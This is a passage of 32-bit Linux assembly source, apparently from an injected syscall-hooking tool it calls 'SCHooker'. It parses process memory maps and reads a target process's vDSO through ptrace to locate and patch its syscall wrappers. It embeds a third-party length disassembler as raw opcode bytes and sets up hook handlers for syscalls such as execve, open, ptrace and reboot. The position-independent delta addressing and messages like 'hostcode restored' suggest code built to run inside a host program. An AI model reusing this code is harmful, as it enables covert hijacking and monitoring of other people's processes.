mov [edi+mapent_size],ebx ; ENT->size
.get_flag: xor ah,ah
.f_r: lodsb
cmp al,2Dh ; (2D = '-')
je .f_w
or ah,byte sprot_read ; read prot
.f_w: lodsb
cmp al,2Dh
je .f_x
or ah,byte sprot_write ; write prot
.f_x lodsb
cmp al,2Dh
je .f_s
or ah,byte sprot_exec ; exec prot
.f_s: lodsb
cmp al,73h
jne .set_flag
or ah,byte sprot_shared ; shared segment
.set_flag: or byte [edi+mapent_flags],ah ; ENT->flags
.get_name: lea esi,[esi+17] ; p+=17
.skip_digit: lodsb
cmp al,20h ; (20 = ' ')
jne .skip_digit
dec esi
.skip_space: lodsb
cmp al,20h
je .skip_space
dec esi ; at this point *esi(p) = point
; to first byte of name or "\n"
mov [edi+mapent_name],esi ; save begining of name, used to copy it later
push esi
.get_eol: lodsb
cmp al,0Ah ; (0A = '\n')
jne .get_eol
dec esi ; at this point *esi(s) = point to "\n", the end of the line
mov [edi+mapent_namesz],esi ; esi = *s
pop ebx ; ebx = *p
sub [edi+mapent_namesz],ebx ; str_size = (s - p)
mov ecx,[edi+mapent_namesz]
jecxz ._no_name
inc ecx
._no_name: lea eax,[edi+mapentsz] ; eax = end of mapent (begining of name)
add ecx,eax
add ecx,byte mapentsz ; (ecx=0 or ecx=namesz+1(nul byte)) += edi+mapentsz*2
cmp ecx,edx
jbe .set_name
call alloc_blk ; allocate new mapent_block if current is full
mov edx,eax ; eax = address of new block
add edx,[ebp+mpfr_blk_size] ; edx = ending of block
.set_name: mov ecx,[edi+mapent_namesz]
jecxz .set_next ; if no name, skip this step
push esi ; if this map has name, copy it just after
mov esi,[edi+mapent_name] ; the mapent structure (eax)
mov ebx,edi
mov edi,eax
rep movsb
mov [ebx+mapent_name],eax ; ENT->name
add eax,[ebx+mapent_namesz]
inc eax ; eax += namesz + 1 (null byte) => point to next entry
push eax
xor ax,ax
.test_vdso: call ._vdso_ ; check if vdso segment
db "[vdso]",00h
._vdso_: pop edi
mov esi,[ebx+mapent_name]
mov ecx,[ebx+mapent_namesz]
repe cmpsb
jne .test_stack
or ax,stype_vdso
.test_stack: call ._stack_ ; check if stack segment
db "[stack]",00h
._stack_: pop edi
mov esi,[ebx+mapent_name]
mov ecx,[ebx+mapent_namesz]
repe cmpsb
jne .test_heap
or ax,stype_stack
.test_heap: call ._heap_ ; check if heap segment
db "[heap]",00h
._heap_: pop edi
mov esi,[ebx+mapent_name]
mov ecx,[ebx+mapent_namesz]
repe cmpsb
jne .set_stype
or ax,stype_heap
.set_stype: or word [ebx+mapent_flags],ax ; set segment type
pop eax
xchg edi,ebx
pop esi
.set_next: inc esi ; (byte)*esi => '\n' (at this point esi always must point to '\n')
mov bl,byte [esi] ; (byte)*esi => 'X'(non zero char) or '\0'
test bl,bl ; if X = '0'('\0') => end of file
je .ret ; set next = 0
mov [edi+mapent_next],eax ; eax = correct address of next entry: in current or new block
xchg edi,eax
jmp .get_map
.ret: xor eax,eax ; end of file : all the lines were processed
mov [esp+_pushad_eax],eax
popad
ret
; VOID mpfr_close(mpfr *)
mpfr_close: pushad
mov ebp,[esp+_pparam1] ; ebp = *mpfr
mov ebx,[ebp+mpfr_blk_list]
mov ecx,[ebx]
.free: call free_blk ; free all previously
loop .free ; allocated mapent_blocks
popad
ret
; DWORD alloc_blk(void)
alloc_blk: ; maps a new block of mpfr->blk_size size and adds
; it to the list of allocated blocks mpfr->blk_list
pushad
.map_blk: xor edx,edx
push edx
dec edx
push edx
push 22h
push 7h
push dword [ebp+mpfr_blk_size]
inc edx
push edx
mov ebx,esp
push byte sc_mmap ; maps just one block
pop eax
int 80h
add esp,(6*_push)
mov ecx,[ebp+mpfr_blk_list] ; ecx = array of blocks
test ecx,ecx ; if ecx = 0, no block has been allocated yet
jne .add_blk
.first_blk: mov [ebp+mpfr_blk_list],eax ; first block (contains an array of pointers
mov ecx,eax ; and a counter)
.add_blk: mov ebx,dword[ecx] ; get number of allocated blocks = array idx
inc ebx ; skip itself (DWORD)
lea edi,[ecx+ebx*4] ; address of last entry: (first_mapent_blk+idx*4)
stosd ; add new entry
inc dword[ecx] ; update block counter
mov dword[esp+_pushad_eax],eax ; return block address
.ret: popad
ret
; VOID free_blk(VOID)
free_blk: ; unmaps the last block of mpfr->blk_size size from the list
; of allocated blocks mpfr->blk_list
pushad
mov ecx,[ebp+mpfr_blk_list] ; get number of alloc blocks
jecxz .ret ; list empty (no blocks)
mov ebx,dword[ecx] ; get idx
lea esi,[ecx+ebx*4] ; point to the last block
dec dword[ecx]
mov ecx,dword[ebp+mpfr_blk_size] ; block size
mov ebx,dword [esi] ; block address
push byte sc_munmap ; unmap
pop eax
int 80h
.ret: popad
ret
; DWORD str2ulong(LPSTR *str)
; string to long integer (dword) conversion
str2ulong: pushad
mov esi,dword[esp+_pparam1] ; ascii string address
xor ebx,ebx
push byte 8
pop ecx
_next: xor eax,eax
lodsb
_ch_1: cmp al,'a' ; a-f
jb _ch_2
sub al,'a'-10
jmp _add
_ch_2: cmp al,'A' ; A-F
jb _ch_3
sub al,'A'-10
jmp _add
_ch_3: cmp al,'9' ; 0-9
ja _end
sub al,'0'
_add: imul ebx,ebx,byte 16
add ebx,eax
loop _next
_end: mov [esp+_pushad+_ret],ebx
popad
ret
; mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
; ret (eax) : map entry address or 0
mpfr_search_by_vaddr:
pushad
mov ebp,dword [esp+_pparam1] ; ebp = *mpfr
mov ecx,dword [ebp+mpfr_list] ; ecx = first mapent
mov ebx,dword [esp+_pparam2] ; ebx = vaddr
.cmp jecxz .ret ; end of list, entry not found
cmp ebx,[ecx+mapent_start]
jb .next
cmp ebx,[ecx+mapent_end]
ja .next
jmp .ret ; entry found
.next: mov ecx,[ecx+mapent_next]
jmp .cmp
.ret: mov [esp+_pushad_eax],ecx
popad
ret
; mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
; ret (eax) = map entry address or 0
mpfr_search_by_name:
pushad
mov ebp,dword [esp+_pparam1] ; ebp = *mpfr
mov eax,dword [ebp+mpfr_list] ; eax = first mapent
mov edx,dword [esp+_pparam2] ; edx = name/id
mov ebx,dword [esp+_pparam3] ; ebx = str size
.cmp: test eax,eax
je .ret ; end of list, entry not found
mov edi,dword[eax+mapent_name] ; mapentry name
mov esi,edx ; given name
mov ecx,ebx ; use size of token, not real name size
repe cmpsb
je .ret ; entry found
mov eax,[eax+mapent_next]
jmp .cmp
.ret: mov [esp+_pushad_eax],eax
popad
ret
; mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
; ret (eax) = map entry address or 0
mpfr_search_by_names:
pushad
mov ebp,dword[esp+_pparam1] ; ebp = *mpfr
mov esi,dword[esp+_pparam2] ; esi = name list
lodsd ; number of names in the list
xchg ecx,eax
.next_name: jecxz .ret ; all the names were tried, entry not found
lodsd
push eax ; size
push esi ; name
add esi,eax ;
push ebp ; *mpfr
call mpfr_search_by_name
add esp,(3*_push)
dec ecx
test eax,eax
je .next_name
.ret: mov dword[esp+_pushad_eax],eax
popad
ret
; mapent *mpfr_get_vdso(mpfr *mpfr)
; ret (eax) = VDSO map entry address or 0
mpfr_get_vdso: nop ; xxx
; mapent *mpfr_get_stack(mpfr *mpfr)
; ret (eax) = STACK map entry address or 0
mpfr_get_stack: nop ; xxx
;===============================================================================|
; virtual dinamically-linked shared object analyzer
;===============================================================================|
VDSOsz equ 4096 ; vdso size: 1xPAGESZ
alloc_size equ (VDSOsz*2) ; vdso size + structs
; VDSOHandle struct:
VDSOHandle_pid equ 00h ; DWORD : pid which contains vdso
VDSOHandle_base equ 04h ; DWORD : vdso base address
VDSOHandle_image equ 08h ; PDWORD : vdso image
VDSOHandle_sym1 equ 0Ch ; PVDSOSYM : s1: __kernel_vsyscall
VDSOHandle_sym2 equ 10h ; PVDSOSYM : s2: __kernel_sigreturn
VDSOHandle_sym3 equ 14h ; PVDSOSYM : s3: __kernel_rt_sigreturn
VDSOHandleSz equ (6*_dword) ; VDSOHandle struct size
; VDSOSym struct:
VDSOSym_start equ 00h ; DWORD : beginning of symbol code
VDSOSym_offset equ 04h ; DWORD : symbol code offset
VDSOSym_size equ 08h ; DWORD : symbol size
VDSOSym_flags equ 0Ch ; DWORD : symbol type & options
VDSOSym_code equ 10h ; PDWORD : symbol image
VDSOSymSz equ (5*_dword) ; VDSOSym struct size
; vdso symbols:
vdso_vsyscall_id equ 000h ; sym1 : id
vdso_vsyscall_size equ 020h ; size in memory
vdso_vsyscall_off equ 400h ; offset
vdso_sigreturn_id equ 001h ; sym2 : id
vdso_sigreturn_size equ 020h ; size in memory
vdso_sigreturn_off equ 420h ; offset
vdso_rtsigreturn_id equ 002h ; sym3 : id
vdso_rtsigreturn_size equ 020h ; size in memory
vdso_rtsigreturn_off equ 440h ; offset
; VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
VDSOLoad: pushad
.alloc: xor eax,eax ; map a memory area to
cdq ; hold a copy of the VDSO
push eax ; and the structures
dec edx
push edx
push byte 22h
push byte 7h
push alloc_size
push eax
mov ebx,esp
push byte sc_mmap
pop eax
int 80h
add esp,(6*_push)
lea ebp,[eax+VDSOsz] ; ebp = *VDSOHandle
mov dword[ebp+VDSOHandle_image],eax ; set VDSOHandle_image
.get_vdso: mov ecx,dword[esp+_pparam1] ; get pid
mov dword[ebp+VDSOHandle_pid],ecx ; set VDSOHandle_pid
mov edx,dword[esp+_pparam2] ; get address
mov dword[ebp+VDSOHandle_base],edx ; set VDSOHandle_base
push byte ptrace_req_peek
pop ebx
xchg esi,eax
push dword(VDSOsz/_dword)
pop edi ; dwors to read (counter)
.read: push byte sc_ptrace
pop eax
int 80h ; read vdso page from
lodsd ; target process
add edx,byte 4
dec edi ; test counter
jne .read
.get_entry: mov eax,dword[ebp+VDSOHandle_image] ; get entry point:
mov eax,dword[eax+elf_hdr_entry] ; it should be both a vaddr
cmp eax,[ebp+VDSOHandle_base] ; or a offset to the first
jae .get_s1 ; symbol (vsyscall)
add eax,dword[ebp+VDSOHandle_base]
.get_s1: lea ecx,[ebp+VDSOHandleSz] ; ecx = VDSOSym *vsyscall
mov dword[ebp+VDSOHandle_sym1],ecx ; set VDSOHandle_sym1
mov dword[ecx+VDSOSym_offset],vdso_vsyscall_off
mov ebx,dword[ebp+VDSOHandle_image] ; ebx = local image of symbol code
add ebx,dword[ecx+VDSOSym_offset] ; eax = address of the symbol
mov dword[ecx+VDSOSym_size],vdso_vsyscall_size ; in the target process
mov dword[ecx+VDSOSym_start],eax ; entry point
add eax,dword[ecx+VDSOSym_size] ; next sym
mov dword[ecx+VDSOSym_code],ebx
add ebx,dword[ecx+VDSOSym_size] ; next sym
.get_s2: lea ecx,[ecx+VDSOSymSz] ; ecx = VDSOSym *sigreturn
mov dword[ebp+VDSOHandle_sym2],ecx ; set VDSOHandle_sym2
mov dword[ecx+VDSOSym_offset],vdso_sigreturn_off
mov dword[ecx+VDSOSym_size],vdso_sigreturn_size
mov dword[ecx+VDSOSym_start],eax
add eax,dword[ecx+VDSOSym_size] ; next sym
mov dword[ecx+VDSOSym_code],ebx
add ebx,dword[ecx+VDSOSym_size] ; next sym
.get_s3: lea ecx,[ecx+VDSOSymSz] ; ecx = VDSOSym *rtsigreturn
mov dword[ebp+VDSOHandle_sym3],ecx ; set VDSOHandle_sym3
mov dword[ecx+VDSOSym_offset],vdso_rtsigreturn_off
mov dword[ecx+VDSOSym_size],vdso_rtsigreturn_size
mov dword[ecx+VDSOSym_start],eax
mov dword[ecx+VDSOSym_code],ebx
.ret: mov dword[esp+_pushad_eax],ebp ; ret VDSOHandle
popad
ret
; VOID VDSOUnload(VDSOHandle *)
VDSOUnload: pushad
mov ebp,[esp+_pparam1] ; VDSOHandler
mov ebx,dword[ebp+VDSOHandle_image]
mov ecx,alloc_size
push byte sc_munmap ; munmap 2xPAGESZ:
pop eax ; 1st PAGE => vdso image
int 80h ; 2nd PAGE => structs
.ret: popad
ret
; VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
VDSOGetSym: pushad
mov ebp,[esp+_pparam1] ; VDSOHandle
mov ecx,[esp+_pparam2] ; SymId = index
mov eax,dword[ebp+ecx*4+(VDSOHandle_sym1)] ; *(VDSOHandler) + IDX*4 + 12:
mov dword[esp+_pushad_eax],eax ; reg(base) + reg(index)*SIZE(1/2/4/8) + offset
.ret: popad
ret
; DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)
; EIP & ESP => ptregs
; ret => saved eip
VDSOGetRet: pushad
call getDelta ; get delta offset
mov edx,[esp+_pparam1] ; edx = VDSOHandle
mov eax,[esp+_pparam2] ; eax = EIP
.check_s1: mov ebx,[edx+VDSOHandle_sym1] ; checks if EIP points to first symbol
mov ecx,[ebx+VDSOSym_start]
cmp eax,ecx
jb .check_s2
add ecx,[ebx+VDSOSym_size]
cmp eax,ecx
ja .check_s2
.check_s1_vA: lea esi,[ebp+s1_code_vA-gdelta]
mov edi,[ebx+VDSOSym_code]
mov ecx,[ebx+VDSOSym_size]
repe cmpsb ; sysenter version
jne .check_s1_vB
lea esi,[ebp+s1_instoff_vA-gdelta]
jmp .handle_sym
.check_s1_vB: lea esi,[ebp+s1_code_vB-gdelta]
mov edi,[ebx+VDSOSym_code]
mov ecx,[ebx+VDSOSym_size]
repe cmpsb ; int version
jne .check_s2
lea esi,[ebp+s1_instoff_vB-gdelta]
jmp .handle_sym
.check_s2: mov ebx,[edx+VDSOHandle_sym2] ; checks if EIP points to second symbol
mov ecx,[ebx+VDSOSym_start]
cmp eax,ecx
jb .check_s3
add ecx,[ebx+VDSOSym_size]
cmp eax,ecx
ja .check_s3
lea esi,[ebp+s2_code-gdelta]
mov edi,[ebx+VDSOSym_code]
mov ecx,[ebx+VDSOSym_size]
repe cmpsb
;je .handle_sym ; xxx ; (unhandled)
jmp .bad_eip
.check_s3: mov ebx,[edx+VDSOHandle_sym3] ; checks if EIP points to third symbol
mov ecx,[ebx+VDSOSym_start]
cmp eax,ecx
jb .bad_eip
add ecx,[ebx+VDSOSym_size]
cmp eax,ecx
ja .bad_eip
lea esi,[ebp+s3_code-gdelta]
mov edi,[ebx+VDSOSym_code]
mov ecx,[ebx+VDSOSym_size]
repe cmpsb
;je .handle_sym ; xxx ; (unhandled)
.bad_eip: xor eax,eax ; the EIP reg does not point to a VDSO segment
jmp .ret ; ret eax = 0 => error
.handle_sym: mov ecx,[edx+VDSOHandle_pid]
mov edx,[esp+_pparam3] ; edx = ESP
sub eax,[ebx+VDSOSym_start] ; EIP - start = instr offset
xchg ah,al ; ah = off (must be <256)
.next: lodsb
cmp ah,al ; compare both instr offsets
jne .next
xor eax,eax ; instr off found:
lodsb ; add/sub ESP to point the saved eip
add edx,eax
.read_sip: push eax ; read the saved eip
mov esi,esp ; from the new "ESP" value (edx)
push byte ptrace_req_peek
pop ebx
push byte sc_ptrace
pop eax
int 80h
pop eax
.ret: mov dword[esp+_pushad_eax],eax
popad
ret
; instr/offset tables
s1_instoff_vA: ;_______sysenter________:
db 1,(1*_push) ; instr: push edx
db 2,(2*_push) ; instr: push ebp
db 3,(3*_push) ; instr: mov ebp,esp
db 16,(3*_push) ; instr: pop ebp
db 17,(2*_push) ; instr: pop edx
db 18,(1*_push) ; instr: pop ecx
s1_instoff_vB: ;_________int___________:
db 3,(1*_push) ; instr: ret
; vdso function fingerprints: maybe first bytes are enough
; vsyscall/sysenter: ____________________________________
s1_code_vA: db 051h,052h,055h,089h,0E5h,00Fh,034h,090h
db 090h,090h,090h,090h,090h,090h,0EBh,0F3h
db 05Dh,05Ah,059h,0C3h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
; vsyscall/int _________________________________________
s1_code_vB: db 0CDh,080h,0C3h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
; sigreturn: _________________________________________
s2_code: db 058h,0B8h,077h,000h,000h,000h,0CDh,080h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
; rt_sigreturn: _________________________________________
s3_code: db 0B8h,0ADh,000h,000h,000h,0CDh,080h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
db 090h,090h,090h,090h,090h,090h,090h,090h
;===============================================================================|
; Debug routines: open_logfile()/write_logfile()/write_console()
;===============================================================================|
_logfile db "logfile.txt",0h
_logfile_fd dd 00h
_logfile_mode equ 1A4h
_logfile_flags equ 42h ; O_RDWR|O_CREAT
dbug_msg0 db " --- Code placed at = 0x%x",0dh,0ah,0h
dbug_msg1 db " [*] SCHooker started",0dh,0ah,0h
dbug_msg2 db " [*] hostcode restored",0dh,0ah,0h
dbug_msg3 db " [*] non-exec stack detected", 0dh,0ah,0h
dbug_msg4 db " [*] syscall wrappers located",0dh,0ah,0h
dbug_msg5 db " [*] syscall wrappers patched",0dh,0ah,0h
dbug_msg6 db " [*] tsd installed and tested",0dh,0ah,0h
open_logfile: pushad
push _logfile_mode
pop edx
push byte _logfile_flags
pop ecx
lea ebx,[ebp+_logfile-gdelta]
push byte sc_open
pop eax
int 80h ; open/creat debug file
mov dword[ebp+_logfile_fd-gdelta],eax
.ret: popad
ret
close_logfile: pushad
mov ebx,dword[ebp+_logfile_fd-gdelta]
push sc_close
pop eax
.ret: popad
ret
write_logfile: pushad ; ecx = pointer to debug message
.test_fd: mov ebx,dword[ebp+_logfile_fd-gdelta]
test ebx,ebx
js .ret
.get_msg_len: mov esi,ecx
xor edx,edx
.next_byte: inc edx
lodsb
test al,al
jnz .next_byte
push byte sc_write
pop eax
int 80h
.ret: popad
ret
write_console: pushad ; ecx = pointer to debug message
.get_msg_len: mov esi,ecx
xor edx,edx
.next_byte: inc edx
lodsb
test al,al
jnz .next_byte
push byte 1
pop ebx
push byte sc_write
pop eax
int 80h
.ret: popad
ret
;============================================================================|
; Z0mbie's LDE: ADE32 (x) 1999-2002 http://z0mbie.cjb.net
;============================================================================|
; a bit modified by me to suport "int 80" instructions
ade_dstruct_size equ 60 ; really 40b
ade_dstruct_opcode equ 20
ade_flagtable_size equ 2048
ade_size equ 517+382+116 ; == 1015
ade_init: db 060h,08Bh,07Ch,024h,024h,0FCh,031h,0C0h
db 068h,0C0h,000h,000h,000h,068h,030h,003h
db 0F3h,0C0h,068h,030h,0F3h,0F3h,030h,068h
db 0DBh,003h,0F3h,030h,068h,0F0h,03Fh,0B6h
db 06Dh,068h,000h,0F0h,022h,000h,068h,0DEh
db 036h,022h,000h,068h,000h,080h,06Dh,044h
db 068h,0ADh,035h,000h,000h,068h,0B5h,0D6h
db 05Ah,06Bh,068h,0D6h,05Ah,06Bh,0ADh,068h
db 040h,0F0h,0FFh,083h,068h,078h,058h,014h
db 045h,068h,0FFh,067h,000h,000h,068h,000h
db 0F8h,0FFh,0FFh,068h,0FFh,007h,000h,000h
db 068h,0BFh,06Eh,0EDh,0FFh,068h,052h,0EAh
db 0FFh,0FFh,068h,0FFh,0FFh,0FFh,095h,068h
db 07Bh,07Bh,0FFh,0FFh,068h,01Bh,094h,052h
db 0EAh,068h,0C3h,05Bh,0B0h,05Bh,068h,0DBh
db 036h,050h,0C3h,068h,075h,010h,041h,081h
db 068h,094h,064h,059h,096h,068h,001h,000h
db 024h,092h,068h,030h,000h,059h,06Eh,068h
db 038h,078h,058h,0DBh,068h,095h,012h,085h
db 042h,068h,014h,0C5h,050h,021h,068h,0C6h
db 028h,01Ch,063h,068h,0E7h,02Ch,0CBh,031h
db 068h,0BBh,06Eh,0CEh,039h,068h,080h,06Dh
db 0E7h,068h,068h,0ADh,080h,080h,080h,068h
db 0B6h,0B5h,020h,0B7h,068h,028h,014h,0B6h
db 0DBh,068h,00Ah,028h,002h,000h,068h,052h
db 04Ah,049h,014h,068h,094h,052h,092h,048h
db 068h,022h,049h,029h,0A5h,068h,050h,016h
db 0DBh,056h,068h,0D2h,060h,041h,0A3h,068h
db 0EDh,056h,0A9h,0D0h,068h,0B6h,06Dh,0DBh
db 0AEh,068h,0DBh,0AEh,06Dh,0DBh,068h,05Ah
db 0DBh,0AEh,06Dh,068h,0A5h,005h,0C8h,051h
db 068h,051h,05Ah,080h,01Ch,068h,01Ch,0A5h
db 005h,0C8h,068h,090h,085h,05Bh,080h,068h
db 021h,00Bh,0B7h,00Ah,068h,039h,036h,080h
db 042h,068h,000h,039h,0B6h,000h,031h,0C9h
db 0B5h,002h,031h,0DBh,0E8h,013h,000h,000h
db 000h,009h,0DBh,075h,00Bh,05Bh,05Eh,05Ah
db 056h,053h,068h,020h,000h,000h,000h,05Bh
db 04Bh,0D1h,0EAh,0C3h,05Dh,031h,0C0h,0E8h
db 005h,000h,000h,000h,0ABh,0E2h,0F6h,061h
db 0C3h,0FFh,0D5h,072h,063h,0FFh,0D5h,072h
db 003h,0B4h,040h,0C3h,0FFh,0D5h,072h,057h
db 0FFh,0D5h,072h,046h,0FFh,0D5h,072h,02Ch
db 0FFh,0D5h,072h,025h,0FFh,0D5h,072h,014h
db 0FFh,0D5h,072h,003h,0B4h,010h,0C3h,0FFh
db 0D5h,073h,006h,0B8h,000h,000h,000h,000h
db 0C3h,0B4h,0A2h,0C3h,0FFh,0D5h,072h,003h
db 0B4h,060h,0C3h,0B8h,000h,0A0h,000h,000h
db 0C3h,0B4h,041h,0C3h,0FFh,0D5h,072h,00Fh
db 0FFh,0D5h,073h,005h,066h,0B8h,080h,080h
db 0C3h,0B8h,000h,081h,002h,000h,0C3h,0B4h
db 081h,0C3h,0FFh,0D5h,073h,006h,0B8h,000h
db 020h,002h,000h,0C3h,0B4h,0C0h,0C3h,0C3h
db 0FFh,0D5h,073h,002h,048h,0C3h,0FFh,0D5h
db 00Fh,082h,08Bh,000h,000h,000h,0FFh,0D5h
db 073h,00Dh,0FFh,0D5h,072h,006h,0B8h,000h
db 001h,002h,000h,0C3h,0B4h,001h,0C3h,0FFh
db 0D5h,073h,003h,0B4h,020h,0C3h,0FFh,0D5h
db 073h,02Eh,0FFh,0D5h,073h,00Dh,0FFh,0D5h
db 072h,006h,0B8h,000h,080h,004h,000h,0C3h
db 0B0h,040h,0C3h,0FFh,0D5h,072h,00Ch,0FFh
db 0D5h,072h,003h,0B4h,003h,0C3h,00Fh,0BAh
db 0F8h,012h,0C3h,0FFh,0D5h,073h,003h,0B0h
db 080h,0C3h,0B8h,000h,002h,004h,000h,0C3h
db 0FFh,0D5h,072h,01Fh,0FFh,0D5h,073h,00Fh
db 0FFh,0D5h,072h,005h,066h,0B8h,008h,080h
db 0C3h,0B8h,000h,001h,006h,000h,0C3h,0FFh
db 0D5h,072h,005h,00Fh,0BAh,0F8h,010h,0C3h
db 0B4h,0C1h,0C3h,0FFh,0D5h,073h,00Dh,0FFh
db 0D5h,073h,006h,0B8h,000h,082h,004h,000h
db 0C3h,0B0h,020h,0C3h,0FFh,0D5h,073h,003h
db 0B0h,010h,0C3h,0B8h,000h,020h,006h,000h
db 0C3h,0B4h,080h,0C3h
ade_disasm: db 060h,033h,0C0h,033h,0D2h,08Bh,06Ch,024h
db 028h,08Dh,07Dh,002h,06Ah,026h,059h,0FCh
db 0F3h,0AAh,08Bh,07Ch,024h,02Ch,08Bh,074h
db 024h,024h,066h,03Bh,006h,00Fh,084h,07Eh
db 000h,000h,000h,066h,083h,03Eh,0FFh,074h
db 078h,08Ah,006h,046h,08Bh,01Ch,087h,0F6h
db 0C3h,0F8h,075h,071h,00Bh,0D3h,088h,045h
db 014h,03Ch,00Fh,00Fh,084h,09Eh,000h,000h
db 000h,03Ch,0F7h,00Fh,084h,0B7h,000h,000h
db 000h,03Ch,0F6h,00Fh,084h,0A5h,000h,000h
db 000h,03Ch,0CDh,00Fh,084h,0B1h,000h,000h
db 000h,0F6h,0C6h,040h,00Fh,085h,0B2h,000h
db 000h,000h,089h,055h,006h,08Ah,0C6h,066h
db 081h,0E2h,007h,007h,0A8h,010h,074h,003h
db 002h,055h,000h,0A8h,020h,074h,003h,002h
db 075h,001h,00Fh,0B6h,0CAh,089h,04Dh,00Ah
db 0E3h,005h,08Dh,07Dh,018h,0F3h,0A4h,08Ah
db 0CEh,089h,04Dh,00Eh,0E3h,005h,08Dh,07Dh
db 020h,0F3h,0A4h,02Bh,074h,024h,024h,096h
db 089h,045h,002h,089h,044h,024h,01Ch,061h
db 0C3h,033h,0C0h,0EBh,0F3h,08Ah,0E3h,022h
db 0E2h,080h,0E4h,0F8h,075h,0F3h,00Bh,0D3h
db 0F6h,0C3h,010h,075h,024h,0F6h,0C3h,020h
db 075h,019h,0F6h,0C3h,080h,075h,00Fh,0F6h
db 0C3h,040h,075h,005h,0E9h,060h,0FFh,0FFh
db 0FFh,088h,045h,012h,0EBh,0F6h,088h,045h
db 013h,0EBh,0F1h,080h,075h,001h,006h,0EBh
db 0EBh,080h,075h,000h,006h,0EBh,0E5h,08Ah
db 006h,046h,088h,045h,015h,00Bh,094h,087h
db 000h,004h,000h,000h,083h,0FAh,0FFh,074h
db 0B0h,0E9h,063h,0FFh,0FFh,0FFh,0F6h,006h
db 038h,075h,0F6h,080h,0CEh,001h,0EBh,0F1h
db 0F6h,006h,038h,075h,0ECh,080h,0CEh,020h
db 0EBh,0E7h,080h,03Eh,080h,075h,0E2h,080h ; 080h,03Eh,080h = instead of 020h
db 0CEh,001h,0EBh,0DDh,08Ah,006h,046h,088h ; 080h 0CEh,001h = instead of 004h
db 045h,016h,050h,024h,038h,03Ch,020h,058h
db 075h,00Ah,080h,07Dh,014h,0FFh,075h,004h
db 00Fh,0BAh,0FAh,012h,08Ah,0E0h,066h,025h
db 007h,0C0h,080h,0FCh,0C0h,074h,028h,080h
db 07Dh,000h,002h,074h,02Ch,03Ch,004h,075h
db 00Bh,080h,0CEh,008h,08Ah,006h,046h,088h
db 045h,017h,024h,007h,080h,0FCh,040h,074h
db 013h,080h,0FCh,080h,074h,006h,066h,03Dh
db 005h,000h,075h,003h,080h,0CAh,004h,0E9h
db 0FEh,0FEh,0FFh,0FFh,080h,0CAh,001h,0EBh
db 0F6h,066h,03Dh,006h,000h,074h,00Ah,080h
db 0FCh,040h,074h,0F0h,080h,0FCh,080h,075h
db 0E6h,080h,0CAh,002h,0EBh,0E1h
;===============================================================================|
; syscall sub-handler prototypes
;===============================================================================|
;
; here is a list of interesting syscall to be hooked, change
; it and add your own
_schndl_begin_:
schndl_lookup: ; find a syscall handler given its number in eax
lea edx,[ebp+_getsh_-gdelta] ;
jmp first ; begin at first handler
_getsh_: pop eax ; eax = handler
ret
first:
_schndl_fork: ; fork syscall handler:
.link: mov ebx,sc_fork
cmp eax,ebx
jne _schndl_read
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*0)-gdelta]
%endif
ret
_schndl_read: ; read syscall handler:
.link: mov ebx,sc_read
cmp eax,ebx
jne _schndl_write
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*1)-gdelta]
%endif
ret
_schndl_write: ; write syscall handler
.link: mov ebx,sc_write
cmp eax,ebx
jne _schndl_open
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*2)-gdelta]
%endif
ret
_schndl_open: ; open syscall handler:
.link: mov ebx,sc_open
cmp eax,ebx
jne _schndl_close
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*3)-gdelta]
%endif
ret
_schndl_close: ; close syscall handler:
.link: mov ebx,sc_close
cmp eax,ebx
jne _schndl_execve
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*4)-gdelta]
%endif
ret
_schndl_execve: ; execve syscall handler:
.link: mov ebx,sc_execve
cmp eax,ebx
jne _schndl_mount
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*5)-gdelta]
%endif
ret
_schndl_mount: ; mount syscall handler:
.link: mov ebx,sc_mount
cmp eax,ebx
jne _schndl_umount
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*6)-gdelta]
%endif
ret
_schndl_umount: ; umount syscall handler:
.link: mov ebx,sc_umount
cmp eax,ebx
jne _schndl_ptrace
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*7)-gdelta]
%endif
ret
_schndl_ptrace: ; ptrace syscall handler:
.link: mov ebx,sc_ptrace
cmp eax,ebx
jne _schndl_mkdir
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*8)-gdelta]
%endif
ret
_schndl_mkdir: ; mkdir syscall handler:
.link: mov ebx,sc_mkdir
cmp eax,ebx
jne _schndl_rmdir
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*9)-gdelta]
%endif
ret
_schndl_rmdir: ; rmdir syscall handler:
.link: mov ebx,sc_rmdir
cmp eax,ebx
jne _schndl_chroot
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*10)-gdelta]
%endif
ret
_schndl_chroot: ; chroot syscall handler:
.link: mov ebx,sc_chroot
cmp eax,ebx
jne _schndl_reboot
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*11)-gdelta]
%endif
ret
_schndl_reboot: ; reboot syscall handler:
.link: mov ebx,sc_reboot
cmp eax,ebx
jne _schndl_mmap
call edx
.body: call def_schndl
%ifdef DBG
inc dword[ebp+(sch_counter+_dword*12)-gdelta]
%endif
ret
_schndl_mmap: ; mmap syscall handler:
